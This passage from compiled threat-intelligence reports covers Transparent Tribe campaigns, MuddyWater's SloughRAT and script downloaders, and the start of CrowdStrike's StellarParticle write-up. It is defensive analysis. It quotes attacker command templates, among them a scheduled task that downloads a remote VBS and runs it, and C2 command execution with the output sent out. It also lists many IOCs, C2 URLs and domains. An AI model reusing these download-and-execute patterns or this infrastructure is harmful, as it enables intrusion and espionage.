+websites into fake ones owned and operated by the attackers. These fake websites are used
+along with typo-squatted or similarly spelled domains to appear legitimate but serve
+malicious artifacts as part of the attackers' infection chains. One such example in this
+campaign is the malicious domain dsoi[.]info. This domain is a direct copy of the legitimate
+website of the Defence Service Officers' Institute (DSOI) of India, created by cloning content
+using HTTrack, a free website copier program.
+We've seen this tactic (cloning legitimate websites using HTTrack) used by Transparent Tribe
+in the past to deliver ObliqueRAT malware payloads around mid-2021.
+17/23
+Transparent Tribe commonly uses malicious artifacts against Indian targets, masquerading
+as legitimate applications maintained by the government of India. In September 2021, Talos
+disclosed Operation Armor Piercer, which consisted of the use of themes pertaining to the
+Kavach MFA application to spread commodity RATs. The SideCopy APT group also uses
+trojans such as MargulasRAT pretending to be a VPN application for India's National
+Informatics Centre (NIC). This new campaign from Transparent Tribe also saw fake
+installers for the Kavach application being used to deploy CrimsonRAT and other malware.
+The use of CrimsonRAT in operations such as these is expected of Transparent Tribe. It has
+been seen in the wild for years and is the tool of choice for the threat actors in campaigns that
+cast a relatively wide net for targeting their victims. This is unlike ObliqueRAT, which is used
+in highly targeted operations by Transparent Tribe.
+The use of new bespoke malware in addition to the RATs indicates the group is diversifying
+their malware portfolio to achieve an even greater degree of success. In another common
+trend, we have also observed Transparent Tribe quickly develop and deploy bespoke, small
+and lightweight stagers and downloaders that can be modified with relative ease (and
+discarded if needed), leading to the deployment of their actual implants meant to provide
+long term access into their targets' networks and systems.
+Conclusion
+Transparent Tribe has been a highly active APT group in the Indian subcontinent. Their
+primary targets have been government and military personnel in Afghanistan and India. This
+campaign furthers this targeting and their central goal of establishing long term access for
+espionage. The use of multiple types of delivery vehicles and file formats indicates that the
+group is aggressively trying to infect their targets with their implants such as CrimsonRAT.
+They have continued the use of fake domains masquerading as government and quasigovernment entities, as well as the use of generically themed content-hosting domains to
+host malware. Although not very sophisticated, this is an extremely motivated and persistent
+adversary that constantly evolves tactics to infect their targets.
+Organizations should remain vigilant against such threats, as they are likely to proliferate in
+the future. In-depth defense strategies based on a risk analysis approach can deliver the best
+results in the prevention. However, this should always be complemented by a good incident
+response plan which has been not only tested with tabletop exercises and reviewed and
+improved every time it's put to the test on real engagements.
+Coverage
+Ways our customers can detect and block this threat are listed below.
+18/23
+Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the
+execution of the malware detailed in this post. Try Secure Endpoint for free here.
+Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects
+malware used in these attacks.
+Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat
+actors as part of their campaign. You can try Secure Email for free here.
+19/23
+Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances
+such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect
+malicious activity associated with this threat.
+Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds
+protection into all Cisco Secure products.
+Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious
+domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free
+trial of Umbrella here.
+Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks
+potentially dangerous sites and tests suspicious sites before users access them.
+Additional protections with context to your specific environment and threat data are
+available from the Firewall Management Center.
+Cisco Duo provides multi-factor authentication for users to ensure only those authorized are
+accessing your network.
+Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the
+latest rule pack available for purchase on Snort.org.
+Snort SIDs: 59222-59223
+The following ClamAV signatures available for protection against this threat:
+Vbs.Downloader.Agent-9940743-0
+Win.Downloader.TransparentTribe-9940744-0
+Win.Trojan.MargulasRAT-9940745-0
+Win.Downloader.Agent-9940746-0
+Win.Trojan.MSILAgent-9940762-1
+Win.Trojan.PythonAgent-9940791-0
+Lnk.Trojan.Agent-9940793-0
+Win.Trojan.TransparentTribe-9940795-0
+Win.Trojan.TransparentTribe-9940801-0
+Win.Downloader.TransparentTribe-9940802-0
+Orbital Queries
+Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to
+see if their endpoints are infected with this specific threat. For specific OSqueries on this
+threat, click below:
+Downloader
+Maldoc
+20/23
+Python stagers
+IOCs
+Maldocs
+15b90d869b4bcc3cc4b886abbf61134e408088fdfbf48e9ab5598a4c80f6f4d8
+d2113b820db894f08c47aa905b6f643b1e6f38cce7adf7bf7b14d8308c3eaf6e
+Downloaders
+b0ecab678b02fa93cf07cef6e2714698d38329931e5d6598b98ce6ee4468c7df
+2ca028a2d7ae7ea0c55a1eeccd08a9386f595c66b7a0c6099c0e0d7c0ad8b6b8
+9d4e6da67d1b54178343e6607aa459fd4d711ce372de00a00ae5d81d12aa44be
+2b32aa56da0f309a6cd5d8cd8b3e125cb1b445b6400c3b22cf42969748557228
+1ba7cf0050343faf845553556b5516d96c7c79f9f39899839c1ca9149cf2d838
+84841490ea2b637494257e9fe23922e5f827190ae3e4c32134cadb81319ebc34
+dd23162785ed4e42fc1abed4addcab2219f45c802cccd35b2329606d81f2db71
+4d14df9d5fa637dae03b08dda8fe6de909326d2a1d57221d73ab3938dfe69498
+2bb2a640376a52b1dc9c2b7560a027f07829ae9c5398506dc506063a3e334c3a
+aadaa8d23cc2e49f9f3624038566c3ebb38f5d955b031d47b79dcfc94864ce40
+b3bc8f9353558b7a07293e13dddb104ed6c3f9e5e9ce2d4b7fd8f47b0e3cc3a5
+5911f5bd310e943774a0ca7ceb308d4e03c33829bcc02a5e7bdedfeb8c18f515
+Lightweight implant
+f66c2e249931b4dfab9b79beb69b84b5c7c4a4e885da458bc10759c11a97108f
+011bcca8feebaed8a2aa0297051dfd59595c4c4e1ee001b11d8fc3d97395cc5c
+5c341d34827c361ba2034cb03dea665a873016574f3b4ff9d208a9760f61b552
+d9037f637566d20416c37bad76416328920997f22ffec9340610f2ea871522d8
+124023c0cf0524a73dabd6e5bb3f7d61d42dfd3867d699c59770846aae1231ce
+CrimsonRAT
+67ad0b41255eca1bba7b0dc6c7bd5bd1d5d74640f65d7a290a8d18fba1372918
+a0f6963845d7aeae328048da66059059fdbcb6cc30712fd10a34018caf0bd28a
+Python based downloaders
+b9fea0edde271f3bf31135bdf1a36e58570b20ef4661f1ab19858a870f4119ba
+dc1a5e76f486268ca8b7f646505e73541e1dc8578a95593f198f93c9cd8a5c8d
+99e6e510722068031777c6470d06e31e020451aa86b3db995755d1af49cc5f9e
+21/23
+Intermediate artifacts
+892a753f31dadf1c6e75f1b72ccef58d29454b9f4d28d73cf7e20d137ce6dd8d
+c828bccfc34f16983f624f00d45e54335804b77dd199139b80841ad63b42c1f3
+0d3f5ca81f62b8a68647a4bcc1c5777d3e865168ebb365cab4b452766efc5633
+a0964a46212d50dbbbbd516a8a75c4764e33842e8764d420abe085d0552b5822
+4162eaeb5826f3f337859996fc7f22442dd9b47f8d4c7cf4f942f666b1016661
+e3e9bbdaa4be7ad758b0716ee11ec67bf20646bce620a86c1f223fd2c8d43744
+56f04a39103372acc0f5e9b01236059ab62ea3d5f8236280c112e473672332b1
+08603759173157c2e563973890da60ab5dd758a02480477e5286fccef72ef1a2
+2043e8b280ae016a983ecaea8e2d368f27a31fd90076cdca9cef163d685e1c83
+adc8e40ecb2833fd39d856aa8d05669ac4815b02acd1861f2693de5400e34f72
+adaf7b3a432438a04d09c718ffddc0a083a459686fd08f3955014e6cf3abeec1
+VHDX
+5e645eb1a828cef61f70ecbd651dba5433e250b4724e1408702ac13d2b6ab836
+Domains
+zoneflare[.]com
+secure256[.]net
+directfileshare[.]net
+dsoi[.]info
+download[.]kavach-app[.]in
+kavach-app[.]in
+otbmail[.]com
+URLs
+hxxp://directfileshare[.]net/DA-Updated.xls
+hxxp://directfileshare[.]net/dd/m.exe
+hxxp://download[.]kavach-app[.]in/Kavach.msi
+hxxp://dsoi[.]info/downloads/chrmeziIIa.exe
+22/23
+hxxp://iwestcloud[.]com/Pick@Whatsoever/Qu33nRocQCl!mbing.php
+hxxp://iwestcloud[.]com/Pick@Whatsoever/S3r&eryvUed.php
+hxxp://iwestcloud[.]com/Pick@Whatsoever/S3r&eryvUed.php"
+hxxp://zoneflare[.]com/C2L!Dem0&PeN/A@llPack3Ts/Cert.php
+hxxp://zoneflare[.]com/C2L!Dem0&PeN/A@llPack3Ts/Cor2PoRJSet!On.php
+hxxp://zoneflare[.]com/C2L!Dem0&PeN/A@llPack3Ts/Dev3l2Nmpo7nt.php
+hxxp://zoneflare[.]com/C2L!Dem0&PeN/A@llPack3Ts/f3dlPr00f.php
+hxxp://zoneflare[.]com/C2L!Dem0&PeN/A@llPack3Ts/xwunThedic@t6.php"
+hxxp://zoneflare[.]com/R!bB0nBr3@k3r/FunBreaker.php
+hxxp://zoneflare[.]com/R!bB0nBr3@k3r/tallerthanhills.php"
+hxxp://zoneflare[.]com/R!bB0nBr3@k3r/zoneblue/mscontainer.dll
+hxxps://drive[.]google[.]com/uc?export=download&id=1kMeI1R7sthlqWaPrp8xiNcQLjbKY9qf
+hxxps://kavach-app[.]in/auth/ver4.mp3
+hxxps://secure256[.]net/pdf/ServicedetailforDARevision.pdf
+hxxps://secure256[.]net/ver4.mp3
+hxxps://zoneflare[.]com/uipool.scr
+23/23
+Iranian linked conglomerate MuddyWater comprised of
+regionally focused subgroups
+blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html
+By Asheer Malhotra, Vitor Ventura and Arnaud Zobec.
+Cisco Talos has observed new cyber attacks targeting Turkey and other Asian countries
+we believe with high confidence are from groups operating under the MuddyWater
+umbrella of APT groups. U.S. Cyber Command recently connected MuddyWater to
+Iran's Ministry of Intelligence and Security (MOIS).
+These campaigns primarily utilize malicious documents (maldocs) to deploy
+downloaders and RATs implemented in a variety of languages, such as PowerShell,
+Visual Basic and JavaScript.
+Another new campaign targeting the Arabian peninsula deploys a WSF-based RAT
+we're calling "SloughRAT", identified as an implant called "canopy" by CISA in their
+advisory released in late February.
+Based on a review of multiple MuddyWater campaigns, we assess that the Iranian APT
+is a conglomerate of multiple teams operating independently rather than a single threat
+actor group.
+The MuddyWater supergroup is highly motivated and can use unauthorized access to
+conduct espionage, intellectual property theft and deploy ransomware and destructive
+malware in an enterprise.
+Executive summary
+1/22
+Cisco Talos has identified multiple campaigns and tools being perpetrated by the
+MuddyWater APT group, widely considered to be affiliated with Iranian interests. These
+threat actors are considered extremely motivated and persistent when it comes to targeting
+victims across the globe.
+Talos disclosed a MuddyWater campaign in January targeting Turkish entities that leveraged
+maldocs and executable-based infection chains to deliver multistage, PowerShell-based
+downloader malware. This group previously used the same tactics to target other countries in
+Asia, such as Armenia and Pakistan.
+In our latest findings, we discovered a new campaign targeting Turkey and the Arabian
+peninsula with maldocs to deliver a Windows script file (WSF)-based remote access trojan
+(RAT) we're calling "SloughRAT" an implant known by "canopy" in CISA's most recent alert
+from February 2022 about MuddyWater.
+This trojan, although obfuscated, is relatively simple and attempts to execute arbitrary code
+and commands received from its command and control (C2) servers.
+Our investigation also led to the discovery of the use of two additional script-based implants:
+one written in Visual Basic (VB) (late 2021 - 2022) and one in JavaScript (2019 - 2020),
+which also downloads and runs arbitrary commands on the victim's system.
+MuddyWater's variety of lures and payloads 
+ along with the targeting of several different
+geographic regions 
+ strengthens our growing hypothesis that MuddyWater is a
+conglomerate of sub-groups rather than a single actor. These sub-groups have conducted
+campaigns against a variety of industries such as national and local governments and
+ministries, universities and private entities such as telecommunication providers. While
+these teams seem to operate independently, they are all motivated by the same factors that
+align with Iranian national security objectives, including espionage, intellectual theft, and
+destructive or disruptive operations based on the victims they target.
+A variety of campaigns analyzed are marked by the development and use of distinct infection
+vectors and tools to gain entry, establish long-term access, siphon valuable information and
+monitor their targets. The MuddyWater teams appear to share TTPs, as evidenced by the
+incremental adoption of various techniques over time in different MuddyWater campaigns.
+We represent this progression in a detailed graphic in the first main section of this blog.
+MuddyWater threat actor
+MuddyWater, also known as "MERCURY" or "Static Kitten," is an APT group the U.S. Cyber
+Command recently attributed to Iran's Ministry of Intelligence and Security (MOIS). This
+2/22
+threat actor, active since at least 2017, frequently conducts campaigns against high-value
+targets in countries in North America, Europe and Asia. MuddyWater campaigns typically
+fall into one of the following categories:
+Espionage: Collecting information on adversaries or regional partners that can benefit
+Iran by helping to advance its political, economic, or national security interests.
+Intellectual property theft: Stealing intellectual property and other proprietary
+information can benefit Iran in a variety of ways, including helping Iranian businesses
+against their competitors, influencing economic policy decisions at the state level, or
+informing government-related research and design efforts, among others. These
+campaigns target private and government entities, such as universities, think tanks,
+federal agencies, and various industry verticals.
+Ransomware attacks: MuddyWater has previously attempted to deploy
+ransomware, such as Thanos, on victim networks to either destroy evidence of their
+intrusions or disrupt operations.
+MuddyWater frequently relies on the use of DNS to contact their C2 servers, while the initial
+contact with hosting servers is done via HTTP. Their initial payloads usually use PowerShell,
+Visual Basic and JavaScript scripting along with living-off-the-land binaries (LoLBins) and
+remote connection utilities to assist in the initial stages of the infection.
+MuddyWater likely comprised of multiple sub-groups
+We assess that MuddyWater is a conglomerate of smaller teams, with each team using
+different targeting tactics against specific regions of the world. They appear to share some
+techniques and evolve them as needed. This sharing is possibly the result of contractors that
+move from team to team, or the use of the same development and operational contractors
+across each team. The latter also explains why we have seen simple indicators such as unique
+strings and watermarks shared between MuddyWater and the Phosphorus (aka APT35 and
+Charming Kitten) APT groups. These groups are attributed to different Iranian state
+organizations 
+ the MOIS and IRGC, respectively.
+Based on new information and a review of MuddyWater threat activity and TTPs, we can link
+together the attacks covered in our January 2022 MuddyWater blog with this most recent
+campaign targeting Turkey and other Asian countries. The graphic below shows the overlap
+in TTPs and regional targeting between the various MuddyWater campaigns, which suggests
+these attacks are distinct, yet related, clusters of activity. While some campaigns initially
+appeared to leverage new TTPs that seemed unrelated to other operations, we later found
+that they instead demonstrated a broader TTP-sharing paradigm, typical of coordinated
+operational teams.
+3/22
+Tracing MuddyWater's activity over the last year, we see that some of the shared techniques
+seem to be refined from one region to the other, suggesting the teams use their preferred
+flavors of tools of choice, including final payloads. The above timeline also shows the
+incremental usage of certain techniques in different campaigns over time, suggesting that
+they are tested and improved before being implemented in future operations.
+The first two techniques we see being implemented and then shared in future operations are
+signaling tokens and an executable dropper. We first observed the usage of tokens for
+signaling in April 2021 in a campaign against Pakistan via a simple dropper that downloads
+the "Connectwise" remote administration tool. Later, in June, we see the first usage of the
+executable dropper against Armenia (described in detail in our previous post). The dropped
+payload is a PowerShell script that loads another PowerShell script that downloads and
+executes a final PowerShell-based payload.
+4/22
+The two techniques were then combined later in August 2021 in a campaign targeting
+Pakistan, this time still using the homemade tokens. Later, the actors graduated to a more
+professional implementation of the token by using canarytokens[.]com's infrastructure.
+canarytokens[.]com is a legitimate service that MuddyWater uses to make their operations
+appear less suspicious. These techniques were next leveraged in a November 2021 campaign
+targeting Turkey in the campaign we described in our January blog. In these attacks on
+Turkey, MuddyWater used maldocs with tokens and the same executable droppers previously
+seen targeting Armenia and Pakistan.
+In March 2021, we observed MuddyWater using the Ligolo reverse-tunneling tool in attacks
+on Middle Eastern countries. This tactic was later reused in December 2021, along with the
+introduction of a new implant. Beginning in December 2021, we observed MuddyWater using
+a new WSF-based RAT we named "SloughRAT" to target countries in the Arabian Peninsula,
+which is described in more detail later in this blog. During our investigation, we discovered
+another version of SloughRAT being deployed against entities in Jordan. This attack included
+the deployment of Ligolo 
+ a MuddyWater tactic also corroborated by Trend Micro in March
+2021 
+ following the deployment of SloughRAT.
+All these attacks show an interesting pattern: Multiple commonalities in some key infection
+artifacts and TTPs, while retaining enough operational distinctions. This pattern can be
+broken down into the following practices:
+The introduction of a TTP in one geography, a delay of typically two or three months,
+then the reuse of that same TTP in a completely different geography, alongside other
+proven TTPs borrowed from campaigns conducted in another geography.
+The introduction of at least one new TTP completely novel to MuddyWater's tactics in
+almost every geographically distinct campaign.
+These observations strongly indicate that MuddyWater is a group of groups, each responsible
+for targeting a specific geography. Each is also responsible for developing novel infection
+techniques while being allowed to borrow from a pool of TTPs tested in previously separate
+campaigns.
+Campaigns
+Tying together previous MuddyWater campaigns
+In our previous post, we disclosed two campaigns using the same types of Windows
+executables 
+ one targeting Turkey in November 2021 and one from June 2021 targeting
+5/22
+Armenia. Another campaign illustrated previously used similar executables, this time to
+target Pakistan. This campaign deployed a PowerShell-based downloader on the endpoint to
+accept and execute additional PS1 commands from the C2 server.
+Going further back, in April 2021, we observed another instance of Muddywater targeting
+entities in Pakistan, this time with a maldoc-based infection vector. The lure document
+claimed to be part of a court case, as the image below shows.
+6/22
+Malicious lure containing a blurred image of the state emblem of Pakistan and referring to a
+court case.
+In this case, however, the attackers attempted to deploy the Connectwise Remote Access
+client on the target's endpoints, a tactic commonly used by MuddyWater to gain an initial
+foothold on targets' endpoints.
+In the attacks deploying the RAT in April 2021 and the EXE-based infection vector from
+August 2021, the maldocs and decoy documents reached out to a common server to
+download a common image file that links them.
+These campaigns used a homemade implementation of signaling tokens. In this case, the
+maldocs have an external entity downloaded from an attacker-controller server. This entity
+consists in a simple image which has no malicious content. The same base URL is employed
+in both campaigns:
+hxxp://172.245.81[.]135:10196/Geq5P3aFpaSrK3PZtErNgUsVCfqQ9kZ9/
+However, the maldoc appends the additional URL extension
+"ef4f0d9af47d737076923cfccfe01ba7/layer.jpg" while the decoy appends "/Panop/gallery.jpg".
+This may be a way for the attackers to track their initial infection vector and determine which
+one is more successful. It is highly likely that the attackers used this server as a token tracker
+to keep track of successful infections in this campaign. This token-tracking system was then
+migrated to CanaryTokens in September 2021 in the attacks targeting Turkey using the
+malicious Excel documents.
+MuddyWater Middle East campaign using maldocs 
+ SloughRAT
+During a recent IR engagement, Talos observed multiple instances of malicious documents
+(maldocs) 
+ specifically XLS files 
+ distributed by MuddyWater. These XLS files were
+observed targeting the Arabian peninsula through a recent phishing campaign.
+The maldoc consists of a malicious macro that drops two WSF files on the endpoint. One of
+these scripts is the instrumentor script meant to execute the next stage. This instrumentor
+script is placed in the current user's Startup folder by the VBA macro to establish persistence
+across reboots.
+The second script is a WSF-based RAT we call "SloughRAT" that can execute arbitrary
+commands on the infected endpoint. This RAT consists of obfuscated code from interweaved
+Visual Basic and JavaScript.
+7/22
+Excel document that drops the Outlook.wsf file.
+WSF-based instrumentor script
+At first glance, the instrumentor script looks complicated because of its obfuscation.
+However, at its core, the script is solely meant to execute the next stage WSF RAT payload.
+At runtime, the code deobfuscates two key components for the next stage:
+Path to the RAT script that's hard-coded but obfuscated.
+The de-facto key in the RAT that triggers the malicious code to call.
+This data is then used to make a call to the WSF-based RAT:
+cmd.exe /c <path_to_WSF_RAT> <key>
+8/22
+Deobfuscation of persistence.
+SloughRAT analysis
+The WSF implant has several capabilities. The script uses multilayer obfuscation to hide its
+true extensions. The screenshots below are the result of the analysis and are deobfuscations
+for better comprehension.
+The RAT script needs a function name as an argument to execute correctly and perform its
+malicious activities. This name is provided by the instrumentor script and could be a method
+of thwarting automated dynamic analysis, since submitting the RAT script in isolation
+without the function name as an argument will result in a failed run of the sample in a
+sandbox.
+Preliminary information gathering and infection registration
+The RAT script begins execution by performing a WMI query to record the IP address of the
+infected endpoint.
+Deobfuscation of discovery capabilities.
+It will then get the user and computer names by querying the environment variables:
+%COMPUTERNAME%
+%USERNAME%
+9/22
+Deobfuscation of discovery capabilities.
+This system information is then concatenated using a delimiter and encoded to register the
+infected system with the C2 server hardcoded into the implant.
+Format:
+<IP_address>|!)!)!|%ComputerName%/%USERNAME%
+RAT capabilities
+This RAT's capabilities are relatively simple, aside from the information-gathering
+capabilities described previously.
+Once the infection is registered with the C2 server, the implant will receive a command code
+from the C2 server. The implant uses two different URLs:
+One is used to register the implant and request arbitrary commands from the C2.
+Another that is used to POST the results of the commands executed on the infected
+endpoint.
+The communication with the C2 is done using the common ServerXMLHTTP from the
+MSXML2 API to instrument an HTTP POST request.
+The time between each request is randomized, which makes the malware stealthier and can
+bypass some sandboxes.
+10/22
+Deobfuscation of HTTP request construction.
+Any data sent to the C2 server is in the format of HTTP forms accompanied by relevant
+headers, like:
+Content-Type
+Content-Length
+CharSet.
+First, the script sends the system information to the first C2 URL, by encoding the message,
+and sending it via POST request, inside the parameter "vl" using the following format:
+<IP_address>|!)!)!|%ComputerName%/%USERNAME%
+Then, the server returns a UID constructed via concatenation of the server IP and an
+UUIDv4.
+11/22
+For example, the UID 5-199-133-149-<UUIDv4>
+is stored in a variable and sends keep-alive messages to request commands from the C2.
+Then, this UID is sent through "vl" parameters inside a POST HTTP request to another C2
+URL.
+When the server receives this UID, it returns an encoded message that the script interprets.
+The message can be:
+"ok": Do nothing and send the UID again (like a keep-alive).
+12/22
+"401": This order cleans the UID variable and forces the script to request another UID,
+by sending a request to the first URI.
+A command to execute that starts the command execution routine.
+A command received from the C2 server will be executed using the command line utility. Its
+output is recorded in a temporary file on disk in a location such as "%TEMP%\stari.txt". This
+data is then immediately read and sent out to the C2. The message will have the following
+format:
+<UID>|!)!)!|<result of command output>
+Commands are executed using the command line:
+cmd.exe /c <command_sent_by_C2> >> <path_to_temp_file>
+Deobfuscation of command execution routine.
+The attackers used another version of SloughRAT, which isn't as obfuscated as the version
+illustrated earlier, this time targeting entities in the Arabian peninsula. The overall
+functionality used in this instance is the same with minor modifications in file paths,
+delimiters, etc.
+13/22
+Version No. 2 of the WSF RAT 
+ minor changes only.
+The attackers utilized SloughRAT to deploy Ligolo, an open-source reverse-tunneling tool to
+gain a greater degree of control over the infected endpoints. This tactic observed is in sync
+with previous findings from Trend Micro.
+Overall infection chain:
+14/22
+VBS-based downloaders
+In another instance, we observed the deployment of VBS-based malicious downloaders in
+December 2021 and through January 2022 via malicious scheduled tasks set up by the
+attackers. The scheduled task would look something like this:
+SchTasks /Create /SC ONCE /ST 00:01 /TN <task_name> /TR powershell -exec bypass -w 1
+Invoke-WebRequest -Uri '<remote_URL_location>' -OutFile
+<malicious_VBS_path_on_endpoint>;
+wscript.exe <malicious_VBS_path_on_endpoint>
+These tasks download and parse content from the C2 server and execute it on the infected
+endpoint. The output of the command would be written to a temporary file in the
+%APPDATA% directory and subsequently read and exfiltrated to the C2.
+The complete infection chain of these VBS-based downloaders is currently unknown.
+15/22
+VBS-based downloader.
+Older campaign using JS-based downloaders
+An older campaign operated by MuddyWater toward the end of November 2019 and into
+2020 utilized maldocs and a convoluted chain of obfuscated scripts to deploy a JavaScriptbased downloader/stager on the infected endpoint. This campaign also appears to target
+Turkish users.
+The maldoc contains a macro that would drop a malicious obfuscated VBS in a directory on
+the system. The macros would then create persistence for the VBS via the Registry Run key of
+the current user. This VBS is responsible for deobfuscating the next payloads and executing
+16/22
+them on the endpoint. This execution culminated into a malicious JS downloader being
+executed on the system to download and execute commands.
+17/22
+JS-based downloader.
+18/22
+Conclusion
+Cisco Talos has observed Iranian APT groups conducting malicious operations and activities
+all over the world for years. Particularly, 2021 was prolific in cybersecurity incidents for Iran
+where state-run organizations were targeted. These events were attributed to Western
+nations by the Iranian regime, with the promise of revenge. It's hard to say if these
+campaigns are the result of such promises or just part of these groups' usual activity.
+However, the fact that they have changed some of their methods of operation and tools is yet
+another sign of their adaptability and unwillingness to refrain themselves from attacking
+other nations.
+We believe there are links between these different campaigns, including the migration of
+techniques from region to region, along with their evolution into more advanced versions.
+Overall, the campaigns we describe cover Turkey, Pakistan, Armenia and countries from the
+Arabian peninsula. While they share certain techniques, these campaigns also denote
+individuality in the way they were conducted, indicating the existence of multiple sub-teams
+beneath the Muddywater umbrella 
+ all sharing a pool of tactics and tools to pick and choose
+from.
+In-depth defense strategies based on a risk analysis approach can deliver the best results in
+protecting against such a highly motivated set of threat actors. However, this should always
+be complemented by a good incident response plan which has not only been tested with table
+top exercises, but also reviewed and improved every time it is put to the test on real
+engagements.
+Coverage
+Ways our customers can detect and block this threat are listed below.
+19/22
+Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the
+execution of the malware detailed in this post. Try Secure Endpoint for free here.
+Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects
+malware used in these attacks.
+Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat
+actors as part of their campaign. You can try Secure Email for free here.
+Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances
+such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect
+malicious activity associated with this threat.
+20/22
+Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network
+traffic automatically and alerts users of potentially unwanted activity on every connected
+device.
+Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds
+protection into all Cisco Secure products.
+Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious
+domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free
+trial of Umbrella here.
+Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks
+potentially dangerous sites and tests suspicious sites before users access them.
+Additional protections with context to your specific environment and threat data are
+available from the Firewall Management Center.
+Cisco Duo provides multi-factor authentication for users to ensure only those authorized are
+accessing your network.
+Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the
+latest rule pack available for purchase on Snort.org.
+Snort rules for protection against this threat are: 59226 - 59230.
+Orbital Queries
+Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to
+see if their endpoints are infected with this specific threat. For specific OSqueries on this
+threat, click below:
+Ligolo
+SloughRat
+IOCS
+Maldocs
+4b2862a1665a62706f88304406b071a5c9a6b3093daadc073e174ac6d493f26c
+026868713d60e6790f41dc7046deb4e6795825faa903113d2f22b644f0d21141
+7de663524b63b865e57ffc3eb4a339e150258583fdee6c2c2ca4dd7b5ed9dfe7
+6e50e65114131d6529e8a799ff660be0fc5e88ec882a116f5a60a2279883e9c4
+ef385ed64f795e106d17c0a53dfb398f774a555a9e287714d327bf3987364c1b
+21/22
+d77e268b746cf1547e7ed662598f8515948562e1d188a7f9ddb8e00f4fd94ef0
+ed988768f50f1bb4cc7fb69f9633d6185714a99ecfd18b7b1b88a42a162b0418
+c2badcdfa9b7ece00f245990bb85fb6645c05b155b77deaf2bb7a2a0aacbe49e
+f10471e15c6b971092377c524a0622edf4525acee42f4b61e732f342ea7c0df0
+cc67e663f5f6cea8327e1323ecdb922ae8e48154bbf7bd3f9b2ee2374f61c5d6
+fb69c821f14cb0d89d3df9eef2af2d87625f333535eb1552b0fcd1caba38281f
+202bf7a4317326b8d0b39f1fa19304c487128c8bd6e52893a6f06f9640e138e6
+3fe9f94c09ee450ab24470a7bcd3d6194d8a375b3383f768662c1d561dab878d
+cf9b1e0d17199f783ed2b863b0289e8f209600a37724a386b4482c2001146784
+EXEs
+a500e5ab8ce265d1dc8af1c00ea54a75b57ede933f64cea794f87ef1daf287a1
+URLs
+hxxp://185[.]118.164.195/c
+hxxp://5[.]199[.]133[.]149/oeajgyxyxclqmfqayv
+hxxp://5[.]199[.]133[.]149/jznkmustntblvmdvgcwbvqb
+hxxp://88[.]119.170.124/lcekcnkxkbllmwlpoklgof
+hxxp://88[.]119.170.124/ezedcjrfvjriftmldedu
+hxxp://178[.]32.30.3:80/kz10n2f9d5c4pkz10n2f9s2vhkz10n2f9/gcvvPu2KXdqEbDpJQ33/
+hxxp://178[.]32.30.3:80/kz10n2f9d5c4pkz10n2f9s2vhkz10n2f9/rrvvPu2KXdqEbDpJQ33/
+hxxp://185[.]183.97.25/protocol/function.php
+hxxp://lalindustries[.]com/wp-content/upgrade/editor.php
+hxxp://advanceorthocenter[.]com/wp-includes/editor.php
+hxxp://95[.]181.161.81/i100dfknzphd5k
+hxxp://95[.]181.161.81/mm57aayn230
+hxxp://95[.]181.161.81:443/main.exe
+22/22
+StellarParticle Campaign: Novel Tactics and Techniques
+crowdstrike.com/blog/observations-from-the-stellarparticle-campaign
+CrowdStrike Services - CrowdStrike Intelligence
+January 27, 2022
+StellarParticle is a campaign tracked by CrowdStrike as related to the SUNSPOT implant
+from the SolarWinds intrusion in December 2020 and associated with COZY BEAR (aka
+APT29, 
+The Dukes
+The StellarParticle campaign has continued against multiple organizations, with COZY
+BEAR using novel tools and techniques to complete their objectives, as identified by
+CrowdStrike incident responders and the CrowdStrike Intelligence team.
+Browser cookie theft and Microsoft Service Principal manipulation are two of the novel
+techniques and tools leveraged in the StellarParticle campaign and are discussed in this
+blog.
+Two sophisticated malware families were placed on victim systems in mid-2019: a Linux
+variant of GoldMax and a new implant dubbed TrailBlazer.
+Supply chain compromises are an increasing threat that impacts a range of sectors, with threat
+actors leveraging access to support several motivations including financial gain (such as with
+the Kaseya ransomware attack) and espionage. Throughout 2020, an operation attributed to
+the Foreign Intelligence Service of the Russian Federation (SVR) by the U.S. government was
+conducted to gain access to the update mechanism of the SolarWinds IT management software
+1/22
+and use it to broaden their intelligence collection capabilities. This activity is tracked by
+CrowdStrike as the StellarParticle campaign and is associated with the COZY BEAR adversary
+group.
+This blog discusses the novel tactics and techniques leveraged in StellarParticle investigations
+conducted by CrowdStrike. These techniques include:
+Credential hopping for obscuring lateral movement
+Office 365 (O365) Service Principal and Application hijacking, impersonation and
+manipulation
+Stealing browser cookies for bypassing multifactor authentication
+Use of the TrailBlazer implant and the Linux variant of GoldMax malware
+Credential theft using Get-ADReplAccount
+Credential Hopping
+The majority of StellarParticle-related investigations conducted by CrowdStrike have started
+with the identification of adversary actions within a victim
+s O365 environment. This has been
+advantageous to CrowdStrike incident responders in that, through investigating victim O365
+environments, they could gain an accurate accounting of time, account and source IP address
+of adversary victimization of the O365 tenant. In multiple engagements, this led CrowdStrike
+incident responders to identify that the malicious authentications into victim O365 tenants
+had originated from within the victim
+s own network.
+Armed with this information, CrowdStrike investigators were able to identify from which
+systems in these internal networks the threat actor was making authentications to O365. These
+authentications would typically occur from servers in the environment, leading to natural
+investigative questions: Why would a user authenticate into O365 from a domain controller or
